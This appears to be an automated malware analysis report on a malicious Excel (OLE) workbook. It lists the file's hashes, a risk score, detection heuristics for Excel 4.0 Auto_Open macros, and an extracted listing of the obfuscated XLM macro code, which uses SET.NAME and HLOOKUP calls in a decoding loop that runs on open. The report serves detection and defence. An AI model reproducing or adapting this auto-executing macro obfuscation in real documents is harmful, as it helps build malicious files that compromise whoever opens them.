Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ddd30785f47420f8…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:45:34 Authoring application: Microsoft Excel First seen: 2021-03-31
MD5: 4f9e71aa9dddb988ddc656e88c57b30f SHA-1: 3f9f147cde6286bd05252146cb6bbe873638fa56 SHA-256: ddd30785f47420f856744348d6e7ede8e7acc479d581568391102980ffa1ea33
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6703 bytes
SHA-256: 600c0e66c78e5a77614c06efe43a9d271fcc6d434cc5c2d39058712e688c940f
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  AfrWs
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G192 
' 0018     25 LABEL : Cell Value, String Constant - BwSginWgAg len=0 
' 0018     26 LABEL : Cell Value, String Constant - cmXhARuhaYh len=0 
' 0018     24 LABEL : Cell Value, String Constant - DptCumNmR len=0 
' 0018     27 LABEL : Cell Value, String Constant - faPrbFpcdNPp len=0 
' 0018     26 LABEL : Cell Value, String Constant - hwGmXZaRMQC len=0 
' 0018     24 LABEL : Cell Value, String Constant - lAiZfvbUA len=0 
' 0018     22 LABEL : Cell Value, String Constant - mcwhtak len=0 
' 0018     25 LABEL : Cell Value, String Constant - mXMlpPdUOT len=0 
' 0018     21 LABEL : Cell Value, String Constant - OlUJQN len=0 
' 0018     27 LABEL : Cell Value, String Constant - phVQvgLhdEGU len=0 
' 0018     21 LABEL : Cell Value, String Constant - QncSKc len=0 
' 0018     21 LABEL : Cell Value, String Constant - QzFDEm len=0 
' 0018     27 LABEL : Cell Value, String Constant - RIFShOfxtBTH len=0 
' 0018     25 LABEL : Cell Value, String Constant - rqbICyoOsW len=0 
' 0018     21 LABEL : Cell Value, String Constant - TFalQL len=0 
' 0018     27 LABEL : Cell Value, String Constant - vFrGZvyMSvan len=0 
' 0018     20 LABEL : Cell Value, String Constant - XCsgx len=0 
' 0018     20 LABEL : Cell Value, String Constant - xQFCJ len=0 
' 0018     21 LABEL : Cell Value, String Constant - YfFvrV len=0 
' 0018     25 LABEL : Cell Value, String Constant - YjrWfmCYdt len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  AfrWs,S87,"",-206.00000000000000000000
'  AfrWs,S88,"",892.00000000000000000000
'  AfrWs,S89,"",237.00000000000000000000
'  AfrWs,S90,"",886.00000000000000000000
'  AfrWs,S91,"",726.00000000000000000000
'  AfrWs,S92,"",-804.00000000000000000000
'  AfrWs,G98,"SET.NAME("TFalQL",0+VALUE("0"))",""
'  AfrWs,G103,"SET.NAME("OlUJQN",TFalQL)",""
'  AfrWs,G108,"SET.NAME("cmXhARuhaYh",TFalQL)",""
'  AfrWs,G112,"SET.NAME("hwGmXZaRMQC",COUNTA(rqbICyoOsW))",""
'  AfrWs,G116,"SET.NAME("BwSginWgAg",COUNTA(YjrWfmCYdt))",""
'  AfrWs,G120,[],""
'  AfrWs,G124,"SET.NAME("RIFShOfxtBTH","")",""
'  AfrWs,G127,"OlUJQN",""
'  AfrWs,G131,"SET.NAME("QncSKc",HLOOKUP("*",rqbICyoOsW,OlUJQN,FALSE))",""
'  AfrWs,G133,"mXMlpPdUOT",""
'  AfrWs,G135,"SET.NAME("vFrGZvyMSvan",TFalQL)",""
'  AfrWs,G139,[],""
'  AfrWs,G142,"vFrGZvyMSvan",""
'  AfrWs,G147,"phVQvgLhdEGU",""
'  AfrWs,G149,"faPrbFpcdNPp",""
'  AfrWs,G152,"QzFDEm",""
'  AfrWs,G156,"SET.NAME("xQFCJ",VALUE(HLOOKUP("*",YjrWfmCYdt,QzFDEm,FALSE)))",""
'  AfrWs,G158,"lAiZfvbUA",""
'  AfrWs,G162,"RIFShOfxtBTH",""
'  AfrWs,G166,"cmXhARuhaYh",""
'  AfrWs,G168,NEXT(),""
'  AfrWs,G171,"YfFvrV",""
'  AfrWs,G175,[],""
'  AfrWs,G180,"XCsgx",""
'  AfrWs,G184,NEXT(),""
'  AfrWs,G188,RETURN(),""
'  AfrWs,G214,"SET.NAME("DptCumNmR",G98)",""
'  AfrWs,G218,"rqbICyoOsW",""
'  AfrWs,G223,"SET.NAME("YjrWfmCYdt",R47C15)",""
'  AfrWs,G227,"SET.NAME("XCsgx",232)",""
'  AfrWs,G229,"SET.NAME("mcwhtak",7)",""
'  AfrWs,G231,DptCumNmR(),""
'  AfrWs,G232,HALT(),""